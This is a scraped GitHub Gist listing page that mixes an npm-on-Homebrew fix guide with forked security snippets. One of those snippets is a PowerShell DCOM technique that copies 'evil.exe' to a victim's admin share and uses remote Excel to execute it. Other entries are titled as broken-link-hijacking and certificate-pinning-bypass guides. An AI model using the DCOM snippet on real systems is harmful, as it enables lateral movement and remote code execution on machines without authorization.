Skip to content

Instantly share code, notes, and snippets.

@justrandomdev
justrandomdev / fix-homebrew-npm.md
Last active August 29, 2015 14:26 — forked from DanHerbert/fix-homebrew-npm.md
Instructions on how to fix npm if you've installed Node through Homebrew on Mac OS X or Linuxbrew

Fixing npm On Mac OS X for Homebrew Users

If you just want to fix the issue quickly, scroll down to the "solution" section below.

Explanation of the issue

If you're a Homebrew user and you installed node via Homebrew, there is a major philosophical issue with the way Homebrew and NPM work together. If you install node with Homebrew and then try to do npm update npm -g, you may see an error like this:

$ npm update npm -g
@justrandomdev
justrandomdev / foxprow.ps1
Created September 12, 2017 11:22 — forked from rxwx/foxprow.ps1
DCOM binary planting via Excel.Application.ActivateMicrosoftApp
$excel = [activator]::CreateInstance([type]::GetTypeFromProgID("Excel.Application", "192.168.1.111"))
# Windows 10 specific, but searches PATH so ..
copy C:\payloads\evil.exe \\victimip\c$\Users\bob\AppData\Local\Microsoft\WindowsApps\FOXPROW.EXE
$excel.ActivateMicrosoftApp("5")
# excel executes your binary :)
@justrandomdev
justrandomdev / broken_link_hijacking.md
Created October 9, 2017 09:51 — forked from EdOverflow/broken_link_hijacking.md
This post aims to give you a basic overview of the different issues that could possibly arise if a target links to an expired endpoint.
@justrandomdev
justrandomdev / 00-android-bypass-certificate-pinning-and-mitm-attack-setup.md Certificate Pinning Bypassing: Setup with Frida, mitmproxy and Android Emulator with a writable file system